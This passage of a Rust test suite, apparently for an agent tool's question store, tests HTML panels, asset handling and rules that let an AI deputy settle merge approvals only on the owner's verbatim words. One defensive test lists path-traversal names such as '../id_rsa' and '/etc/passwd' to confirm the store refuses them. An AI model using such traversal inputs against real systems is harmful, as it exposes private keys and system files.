2667
2668    #[test]
2669    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2670        let (dir, s) = store();
2671        let work = dir.path().join("worktree");
2672        std::fs::create_dir_all(&work).unwrap();
2673        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2674        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2675
2676        let mut q = panelled();
2677        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2678        s.put_panel(
2679            &mut q,
2680            html,
2681            &[work.join("table.png"), work.join("diff.svg")],
2682        )
2683        .unwrap();
2684        s.put(&mut q).unwrap();
2685
2686        assert!(q.panel);
2687        assert_eq!(
2688            q.assets,
2689            ["diff.svg", "table.png"],
2690            "sorted, not in the order the agent happened to pass them"
2691        );
2692        assert_eq!(
2693            s.panel_html(&q.id).as_deref(),
2694            Some(html),
2695            "the html is stored byte for byte; the agent authored the markup"
2696        );
2697        assert_eq!(
2698            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2699            Some(&b"<svg/>"[..])
2700        );
2701
2702        // The record on disk carries the same two fields the front end reads.
2703        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2704        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2705        assert_eq!(json["panel"], true);
2706        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2707        let back = s.get(&q.id).unwrap();
2708        assert!(back.panel);
2709        assert_eq!(back.assets, q.assets);
2710
2711        // The assets were copied, so the panel still renders after `magi fold`
2712        // has deleted the candidate worktree the agent authored it in.
2713        std::fs::remove_dir_all(&work).unwrap();
2714        assert_eq!(
2715            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2716            Some(&b"\x89PNG"[..]),
2717            "a referenced asset would be gone with the worktree"
2718        );
2719    }
2720
2721    #[test]
2722    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2723        let (dir, s) = store();
2724        let mut q = panelled();
2725        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2726        s.put(&mut q).unwrap();
2727
2728        // A file exactly one level up from the panel directory - which is
2729        // where `..` lands - holding content a read would make visible.
2730        let secret = "this must never reach the browser";
2731        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2732        assert_eq!(
2733            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2734            secret,
2735            "the traversal is real: the operating system resolves this path \
2736             happily, which is why the name has to be refused before the join"
2737        );
2738
2739        let long = "x".repeat(200);
2740        for name in [
2741            "..",
2742            "../id_rsa",
2743            "..\\id_rsa",
2744            "sub/../id_rsa",
2745            "/",
2746            "\\",
2747            "/etc/passwd",
2748            "C:\\Windows\\win.ini",
2749            "",
2750            ".hidden",
2751            ".",
2752            long.as_str(),
2753        ] {
2754            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2755            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2756            assert!(
2757                e.contains("not a panel file name"),
2758                "`{name}` must be refused as a name, not attempted: {e}"
2759            );
2760            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2761        }
2762        // A name that is allowed still finds its file, so the refusals above
2763        // were the rule at work and not a store that reads nothing.
2764        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2765
2766        // The same rule on the write side, where the name comes from a source
2767        // file's base name, and a refusal leaves the stored panel untouched.
2768        let hidden = dir.path().join(".hidden");
2769        std::fs::write(&hidden, "x").unwrap();
2770        let e = s
2771            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2772            .unwrap_err()
2773            .to_string();
2774        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2775        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2776        assert!(q.assets.is_empty());
2777    }
2778
2779    #[test]
2780    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2781        let (dir, s) = store();
2782        let mut q = panelled();
2783        s.put(&mut q).unwrap();
2784
2785        // Sized rather than filled: the cap reads the file's length, and a
2786        // test that actually produced eight mebibytes would only be slower.
2787        let big = dir.path().join("recording.png");
2788        std::fs::File::create(&big)
2789            .unwrap()
2790            .set_len(PANEL_MAX_BYTES)
2791            .unwrap();
2792
2793        let html = "<p>see the recording</p>";
2794        let total = PANEL_MAX_BYTES + html.len() as u64;
2795        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2796        assert!(
2797            e.contains(&PANEL_MAX_BYTES.to_string()),
2798            "the cap is named so the agent knows the limit: {e}"
2799        );
2800        assert!(
2801            e.contains(&total.to_string()),
2802            "the actual size is named so the agent knows by how much: {e}"
2803        );
2804
2805        assert!(!q.panel);
2806        assert!(q.assets.is_empty());
2807        let left: Vec<String> = std::fs::read_dir(s.root())
2808            .unwrap()
2809            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2810            .collect();
2811        assert_eq!(
2812            left,
2813            [format!("{}.json", q.id)],
2814            "a refused panel leaves neither a directory nor scratch: {left:?}"
2815        );
2816    }
2817
2818    #[test]
2819    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2820        let (dir, s) = store();
2821        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2822        std::fs::create_dir_all(&before).unwrap();
2823        std::fs::create_dir_all(&after).unwrap();
2824        std::fs::write(before.join("diff.png"), "before").unwrap();
2825        std::fs::write(after.join("diff.png"), "after").unwrap();
2826
2827        let mut q = panelled();
2828        let e = s
2829            .put_panel(
2830                &mut q,
2831                "<p>x</p>",
2832                &[before.join("diff.png"), after.join("diff.png")],
2833            )
2834            .unwrap_err()
2835            .to_string();
2836        assert!(e.contains("diff.png"), "{e}");
2837        assert!(
2838            e.contains("before") && e.contains("after"),
2839            "both sources are named, because the fix is to rename one: {e}"
2840        );
2841        assert!(!q.panel);
2842        assert!(!s.panel_dir(&q.id).exists());
2843    }
2844
2845    #[test]
2846    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2847        let (dir, s) = store();
2848        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2849        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2850
2851        let mut q = panelled();
2852        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2853            .unwrap();
2854        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2855            .unwrap();
2856
2857        assert_eq!(q.assets, ["new.png"]);
2858        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2859        assert!(
2860            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2861            "an asset from the first attempt would show a mix of two answers"
2862        );
2863
2864        s.drop_panel(&q.id).unwrap();
2865        assert!(s.panel_html(&q.id).is_none());
2866        assert!(!s.panel_dir(&q.id).exists());
2867        s.drop_panel(&q.id)
2868            .expect("dropping a panel that is already gone is the desired state");
2869    }
2870
2871    #[test]
2872    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2873        let (_dir, s) = store();
2874        let mut q = panelled();
2875        s.put(&mut q).unwrap();
2876
2877        assert!(!q.panel);
2878        assert!(s.panel_html(&q.id).is_none());
2879        assert!(
2880            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2881            "a missing file is a 404 for the caller, not a failure of the store"
2882        );
2883        let json = serde_json::to_value(&q).unwrap();
2884        assert_eq!(json["panel"], false);
2885        assert_eq!(json["assets"], serde_json::json!([]));
2886
2887        // And an empty panel is refused, because an empty frame reads to the
2888        // owner as "the agent had nothing to say".
2889        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2890        assert!(e.contains("empty panel"), "{e}");
2891        assert!(!s.panel_dir(&q.id).exists());
2892    }
2893
2894    #[test]
2895    fn a_question_written_before_panels_existed_still_deserialises() {
2896        let (_dir, s) = store();
2897        std::fs::create_dir_all(s.root()).unwrap();
2898        let id = "20260902-231501-ab12";
2899        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2900        let body = r#"{
2901  "schema": 1,
2902  "id": "20260902-231501-ab12",
2903  "run": "20260902-201256-9fb7",
2904  "node": "implement",
2905  "seat": "impl-A",
2906  "summary": "Which storage backend should the cache use?",
2907  "detail": "Both are already dependencies.",
2908  "choices": ["SQLite", "Redis"],
2909  "status": "open",
2910  "asked_at": "2026-09-02T23:15:01Z",
2911  "answered_at": null,
2912  "answer": null
2913}"#;
2914        std::fs::write(s.path_of(id), body).unwrap();
2915
2916        let q = s.get(id).unwrap();
2917        assert!(
2918            !q.panel,
2919            "an absent field means no panel, not a parse error"
2920        );
2921        assert!(q.assets.is_empty());
2922        // Schema 1 predates `thread` entirely - not merely predates it having
2923        // any turns - and this build now speaks schema 3. Reading it must not
2924        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2925        // accepted and the missing field defaults to no conversation yet.
2926        assert_eq!(q.schema, 1);
2927        assert!(q.thread.is_empty());
2928        assert_eq!(
2929            q.answer_timeout, 0,
2930            "an absent field means unrecorded, not a zero-second deadline"
2931        );
2932        assert!(!q.waiting_on_agent());
2933        assert_eq!(q.summary, "Which storage backend should the cache use?");
2934        assert_eq!(
2935            s.list().len(),
2936            1,
2937            "and it is still listed; skipping it would hide an open question"
2938        );
2939    }
2940
2941    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2942        Turn {
2943            who,
2944            body: body.to_owned(),
2945            at,
2946            note: None,
2947        }
2948    }
2949
2950    #[test]
2951    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2952        // The phone reads this shape by hand, same as the question itself: a
2953        // rename here is a card that silently drops every message in it.
2954        let mut q = choice_question();
2955        q.thread
2956            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2957        let value = serde_json::to_value(&q.thread[0]).unwrap();
2958        let mut keys: Vec<&str> = value
2959            .as_object()
2960            .unwrap()
2961            .keys()
2962            .map(String::as_str)
2963            .collect();
2964        keys.sort_unstable();
2965        assert_eq!(keys, ["at", "body", "who"]);
2966        assert_eq!(value["who"], "operator");
2967        assert_eq!(value["body"], "why not Postgres?");
2968
2969        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2970        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2971        assert_eq!(parsed.who, Who::Agent);
2972    }
2973
2974    fn approval_question() -> Question {
2975        let mut q = Question::new(
2976            "run".into(),
2977            crate::land::APPROVAL_NODE.into(),
2978            "land".into(),
2979            "Merge?".into(),
2980            String::new(),
2981            vec!["merge".into(), "hold".into()],
2982        );
2983        let mut dep = Deputy::new("brief".into());
2984        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2985        q.deputy = Some(dep);
2986        q
2987    }
2988
2989    #[test]
2990    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
2991        for choice in [
2992            crate::land::HOLD,
2993            crate::land::REPAIR,
2994            crate::merge_decision::WITHDRAW,
2995            "reimplement:beta",
2996        ] {
2997            let mut q = approval_question();
2998            q.node = crate::land::APPROVAL_NODE.into();
2999            q.choices = vec!["merge".into(), choice.into()];
3000            q.merge_target = Some(crate::merge_decision::Target {
3001                pr: "PR 42".into(),
3002                head: "abc".into(),
3003                language: "en".into(),
3004            });
3005            q.say(format!("Should we choose {choice}?")).unwrap();
3006            assert!(
3007                q.settle_by_deputy("deputy-x", choice, choice, None)
3008                    .is_err()
3009            );
3010            q.say(choice).unwrap();
3011            q.settle_by_deputy("deputy-x", choice, choice, None)
3012                .unwrap();
3013            assert_eq!(q.resolution().as_deref(), Some(choice));
3014        }
3015        let mut q = approval_question();
3016        q.node = crate::land::APPROVAL_NODE.into();
3017        q.choices = vec!["merge".into(), "hold".into()];
3018        q.merge_target = Some(crate::merge_decision::Target {
3019            pr: "PR 42".into(),
3020            head: "new-head".into(),
3021            language: "en".into(),
3022        });
3023        q.say("merge old-head").unwrap();
3024        assert!(
3025            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3026                .is_err()
3027        );
3028        q.say("merge new-head").unwrap();
3029        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3030            .unwrap();
3031    }
3032
3033    #[test]
3034    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3035        let mut q = approval_question();
3036        q.choices.push(crate::land::REPAIR.into());
3037        q.say("maybe fix findings and re-review").unwrap();
3038        assert!(
3039            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3040                .is_err()
3041        );
3042        q.say(crate::land::REPAIR).unwrap();
3043        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3044            .unwrap();
3045        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3046        assert_eq!(
3047            crate::land::approval(q.resolution().as_deref()),
3048            crate::land::Approval::Repair
3049        );
3050    }
3051
3052    #[test]
3053    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3054        let mut q = approval_question();
3055        q.say("merge").unwrap();
3056        q.reply("sure?", vec!["merge".into(), "hold".into()])
3057            .unwrap();
3058        q.say(" Merge it please ").unwrap();
3059        assert!(
3060            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3061                .is_err(),
3062            "an empty quote is refused"
3063        );
3064        assert!(
3065            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3066                .is_err(),
3067            "a quote the owner never said is refused"
3068        );
3069        assert_eq!(q.status, QuestionStatus::Open);
3070        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3071            .unwrap();
3072        assert_eq!(q.resolution().as_deref(), Some("merge"));
3073    }
3074
3075    #[test]
3076    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3077        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3078        let mk = || {
3079            let mut q = Question::new(
3080                "run".into(),
3081                crate::github_text::ASK_NODE.into(),
3082                crate::github_text::ASK_SEAT.into(),
3083                "s".into(),
3084                String::new(),
3085                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3086            );
3087            let mut dep = Deputy::new("brief".into());
3088            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3089            q.deputy = Some(dep);
3090            q
3091        };
3092        let mut hedged = mk();
3093        hedged.say("Post the original, maybe?").unwrap();
3094        assert!(
3095            hedged
3096                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3097                .is_err()
3098        );
3099        let mut clear = mk();
3100        clear.say("Post the original text as it is.").unwrap();
3101        clear
3102            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3103            .unwrap();
3104        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3105        let mut japanese = mk();
3106        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3107        japanese.say(words).unwrap();
3108        japanese
3109            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3110            .unwrap();
3111        let mut unrelated = mk();
3112        unrelated.say("Proceed with the task").unwrap();
3113        assert!(
3114            unrelated
3115                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3116                .is_err()
3117        );
3118        for words in [
3119            "OK, post the original",
3120            "Yes, post original",
3121            "I'd like to post the original",
3122        ] {
3123            let mut natural = mk();
3124            natural.say(words).unwrap();
3125            natural
3126                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3127                .unwrap();
3128        }
3129        for (message, quote) in [
3130            (
3131                "ログには「元の説明で投稿しました」と記録されています。",
3132                "ログには「元の説明で投稿しました」と記録されています。",
3133            ),
3134            (
3135                "ログには「元の説明で投稿してください」と記録されています。",
3136                "元の説明で投稿してください",
3137            ),
3138        ] {
3139            let mut descriptive = mk();
3140            descriptive.say(message).unwrap();
3141            assert!(
3142                descriptive
3143                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3144                    .is_err()
3145            );
3146            assert!(descriptive.status.open());
3147            assert!(descriptive.answer.is_none());
3148        }
3149        let mut descriptive = mk();
3150        let message = "Post original was the option I saw.";
3151        descriptive.say(message).unwrap();
3152        for quote in [message, "Post original"] {
3153            assert!(
3154                descriptive
3155                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3156                    .is_err()
3157            );
3158            assert!(descriptive.status.open());
3159            assert!(descriptive.answer.is_none());
3160        }
3161        // The changed text is the safe default: no extra guard beyond the quote.
3162        let mut safe = mk();
3163        safe.say("use the fallback").unwrap();
3164        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3165            .unwrap();
3166    }
3167
3168    #[test]
3169    fn posting_deputy_rejects_multiline_quoted_context() {
3170        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3171        for (command, choice) in [
3172            ("Post original", POST_ORIGINAL),
3173            ("Use rewrite", USE_REWRITE),
3174        ] {
3175            for message in [
3176                format!("The log contains:\n```\n{command}\n```"),
3177                format!("The log contains:\n\"\n{command}\n\""),
3178                format!("The log says: “Reported. {command}.”"),
3179                format!("The log says: “\n{command}\n”"),
3180            ]
3181            .into_iter()
3182            .chain(crate::github_text::reported_posting_messages(command))
3183            {
3184                let mut q = Question::new(
3185                    "run".into(),
3186                    ASK_NODE.into(),
3187                    ASK_SEAT.into(),
3188                    "s".into(),
3189                    String::new(),
3190                    vec![USE_FALLBACK.into(), choice.into()],
3191                );
3192                let mut dep = Deputy::new("brief".into());
3193                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3194                q.deputy = Some(dep);
3195                q.say(&message).unwrap();
3196                let tmp = tempfile::tempdir().unwrap();
3197                let questions = Questions::at(tmp.path().join("questions"));
3198                questions.put(&mut q).unwrap();
3199                for quote in [command, message.as_str()] {
3200                    assert!(
3201                        questions
3202                            .update(&q.id, |stored| {
3203                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3204                            })
3205                            .is_err()
3206                    );
3207                    let after = questions.get(&q.id).unwrap();
3208                    assert!(after.status.open());
3209                    assert!(after.answer.is_none());
3210                }
3211            }
3212        }
3213    }
3214
3215    #[test]
3216    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3217        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3218        let mk = || {
3219            let mut q = Question::new(
3220                "run".into(),
3221                crate::github_text::ASK_NODE.into(),
3222                crate::github_text::ASK_SEAT.into(),
3223                "s".into(),
3224                String::new(),
3225                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3226            );
3227            let mut dep = Deputy::new("brief".into());
3228            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3229            q.deputy = Some(dep);
3230            q
3231        };
3232        let mut hedged = mk();
3233        hedged.say("Use the rewrite, maybe?").unwrap();
3234        assert!(
3235            hedged
3236                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3237                .is_err()
3238        );
3239        let mut descriptive = mk();
3240        let message = "Use rewrite was the option I saw.";
3241        descriptive.say(message).unwrap();
3242        for quote in [message, "Use rewrite"] {
3243            assert!(
3244                descriptive
3245                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3246                    .is_err()
3247            );
3248            assert!(descriptive.status.open());
3249            assert!(descriptive.answer.is_none());
3250        }
3251        for words in [
3252            "Use the rewrite text as it is.",
3253            "I'd like to use the rewrite",
3254            "修正版で投稿してください。",
3255        ] {
3256            let mut clear = mk();
3257            clear.say(words).unwrap();
3258            clear
3259                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3260                .unwrap();
3261            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3262        }
3263        // The changed text is the safe default: no extra guard beyond the quote.
3264        let mut safe = mk();
3265        safe.say("use the fallback").unwrap();
3266        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3267            .unwrap();
3268    }
3269
3270    #[test]
3271    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3272        let mk = |choices: Vec<String>| {
3273            let mut q = Question::new(
3274                String::new(),
3275                crate::bump::NOTICE_NODE.into(),
3276                "release-watch".into(),
3277                "Release?".into(),
3278                String::new(),
3279                choices,
3280            );
3281            let mut dep = Deputy::new("brief".into());
3282            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3283            q.deputy = Some(dep);
3284            q
3285        };
3286        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3287        assert!(crate::deputy::merge_gated(&approval));
3288        approval.say("マージしていいよ").unwrap();
3289        assert!(
3290            approval
3291                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3292                .is_err(),
3293            "a quote the owner never said is refused"
3294        );
3295        approval
3296            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3297            .unwrap();
3298
3299        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3300        assert!(!crate::deputy::merge_gated(&esc));
3301        esc.say("もう監視はいらない").unwrap();
3302        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3303            .unwrap();
3304        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3305    }
3306
3307    #[test]
3308    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3309        let mut q = approval_question();
3310        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3311            .unwrap();
3312        assert!(
3313            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3314                .is_err(),
3315            "the quote must be the owner's"
3316        );
3317        assert!(
3318            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3319                .is_err(),
3320            "`hold` still needs the whole message"
3321        );
3322        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3323            .unwrap();
3324        assert_eq!(q.resolution().as_deref(), Some("merge"));
3325    }
3326
3327    fn settle_ready() -> Question {
3328        let mut q = Question::new(
3329            "task".to_owned(),
3330            "conduct".to_owned(),
3331            "conduct".to_owned(),
3332            "Done?".to_owned(),
3333            String::new(),
3334            vec!["yes".to_owned(), "no".to_owned()],
3335        );
3336        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3337        seat.turns = 1;
3338        let mut dep = Deputy::new("brief".to_owned());
3339        dep.seat = Some(seat);
3340        q.deputy = Some(dep);
3341        q.say("setup done, and file a follow-up").unwrap();
3342        q
3343    }
3344
3345    #[test]
3346    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3347        let dir = tempfile::TempDir::new().unwrap();
3348        let store = Questions::at(dir.path().join("questions"));
3349        let mut q = settle_ready();
3350        let id = q.id.clone();
3351        store.put(&mut q).unwrap();
3352        store
3353            .update(&id, |q| {
3354                q.settle_by_deputy(
3355                    "deputy-x",
3356                    "yes",
3357                    "setup done",
3358                    Some("  no follow-up was queued  "),
3359                )
3360            })
3361            .unwrap();
3362        let back = store.get(&id).unwrap();
3363        let turn = back.thread.last().unwrap();
3364        assert_eq!(turn.who, Who::Agent);
3365        assert!(turn.body.starts_with("Settled as `yes`"));
3366        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3367        assert_eq!(back.thread[0].note, None);
3368    }
3369
3370    #[test]
3371    fn an_empty_or_blank_settle_note_is_no_note() {
3372        for note in [None, Some(""), Some("  \n ")] {
3373            let mut q = settle_ready();
3374            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3375                .unwrap();
3376            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3377            let json = serde_json::to_string(&q).unwrap();
3378            assert!(!json.contains("\"note\""), "no key when there is none");
3379        }
3380    }
3381
3382    #[test]
3383    fn a_refused_settle_leaves_no_note_behind() {
3384        let mut q = settle_ready();
3385        let before = q.thread.clone();
3386        assert!(
3387            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3388                .is_err()
3389        );
3390        assert!(
3391            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3392                .is_err()
3393        );
3394        assert_eq!(q.thread, before);
3395        assert_eq!(q.status, QuestionStatus::Open);
3396    }
3397
3398    #[test]
3399    fn a_turn_written_before_notes_existed_still_reads() {
3400        let t: Turn =
3401            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3402                .unwrap();
3403        assert_eq!(t.note, None);
3404    }
3405
3406    #[test]
3407    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3408        let mut q = approval_question();
3409        q.say("merge").unwrap();
3410        q.reply("sure?", vec!["merge".into(), "hold".into()])
3411            .unwrap();
3412        q.say("wait, hold off").unwrap();
3413        assert!(
3414            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3415                .is_err()
3416        );
3417        assert_eq!(q.status, QuestionStatus::Open);
3418    }
3419
3420    #[test]
3421    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3422        let mut q = Question::new(
3423            "task".to_owned(),
3424            "conduct".to_owned(),
3425            "conduct".to_owned(),
3426            "Done?".to_owned(),
3427            String::new(),
3428            vec!["yes".to_owned(), "no".to_owned()],
3429        );
3430        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3431        seat.turns = 1;
3432        let mut dep = Deputy::new("brief".to_owned());
3433        dep.seat = Some(seat);
3434        q.deputy = Some(dep);
3435        q.say("setup done, go ahead").unwrap();
3436
3437        assert!(
3438            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3439                .is_err()
3440        );
3441        assert!(
3442            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3443                .is_err()
3444        );
3445        assert!(
3446            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3447                .is_err()
3448        );
3449        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3450        assert_eq!(q.status, QuestionStatus::Open);
3451
3452        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3453            .unwrap();
3454        assert_eq!(q.status, QuestionStatus::Answered);
3455        assert_eq!(q.resolution().as_deref(), Some("yes"));
3456        let last = q.thread.last().unwrap();
3457        assert_eq!(last.who, Who::Agent);
3458        assert!(
3459            last.body.contains("setup done"),
3460            "the quote stays on the record"
3461        );
3462    }
3463
3464    #[test]
3465    fn a_question_written_before_deputies_still_reads() {
3466        let mut q = Question::new(
3467            "task".to_owned(),
3468            "conduct".to_owned(),
3469            "conduct".to_owned(),
3470            "Done?".to_owned(),
3471            String::new(),
3472            Vec::new(),
3473        );
3474        q.schema = 4;
3475        let mut v = serde_json::to_value(&q).unwrap();
3476        v.as_object_mut().unwrap().remove("deputy");
3477        let back: Question = serde_json::from_value(v).unwrap();
3478        assert!(back.deputy.is_none());
3479    }
3480
3481    #[test]
3482    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3483        let mut q = choice_question();
3484        q.say("does the cache need eviction?").unwrap();
3485        assert_eq!(q.thread.len(), 1);
3486        assert_eq!(q.thread[0].who, Who::Operator);
3487        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3488        // Speaking is not deciding: the status and the answer are untouched,
3489        // which is the whole point of the round trip existing at all.
3490        assert_eq!(q.status, QuestionStatus::Open);
3491        assert!(q.answer.is_none());
3492        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3493    }
3494
3495    #[test]
3496    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3497        let mut answered = choice_question();
3498        answered
3499            .answer(Answer::Choice("SQLite".to_owned()))
3500            .unwrap();
3501        let a = answered.say("still there?").unwrap_err().to_string();
3502        assert!(a.contains("already answered"), "{a}");
3503        let b = answered
3504            .reply("still there?", vec![])
3505            .unwrap_err()
3506            .to_string();
3507        assert!(b.contains("already answered"), "{b}");
3508
3509        let mut abandoned = choice_question();
3510        abandoned.abandon("timed out");
3511        let c = abandoned.say("hello?").unwrap_err().to_string();
3512        assert!(c.contains("abandoned"), "{c}");
3513
3514        let mut open = choice_question();
3515        let d = open.say("   ").unwrap_err().to_string();
3516        assert!(d.contains("empty"), "{d}");
3517        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3518        assert!(e.contains("empty"), "{e}");
3519        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3520    }
3521
3522    #[test]
3523    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3524        let mut q = choice_question();
3525        q.say("SQLite or Redis, but what about disk space?")
3526            .unwrap();
3527        assert!(q.waiting_on_agent());
3528
3529        q.reply(
3530            "SQLite: it is one file, no server to run.",
3531            vec!["SQLite".to_owned()],
3532        )
3533        .unwrap();
3534
3535        assert_eq!(q.choices, ["SQLite"]);
3536        assert!(
3537            !q.waiting_on_agent(),
3538            "the agent spoke, so the owner is the one being waited on now"
3539        );
3540        assert_eq!(q.thread.len(), 2);
3541        assert_eq!(q.thread[1].who, Who::Agent);
3542
3543        // The new choice set is what a subsequent answer is checked against.
3544        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3545        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3546        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3547    }
3548
3549    #[test]
3550    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3551        let mut fresh = choice_question();
3552        assert!(
3553            fresh.should_notify(Timestamp::now()),
3554            "nobody has been notified yet, so the first ask always pages"
3555        );
3556
3557        fresh.say("why not Postgres?").unwrap();
3558        let just_said = fresh.thread[0].at;
3559        assert!(
3560            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3561            "still on the screen a minute later; no need to page again"
3562        );
3563        assert!(
3564            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3565            "exactly the window: `>` means this side stays quiet"
3566        );
3567        assert!(
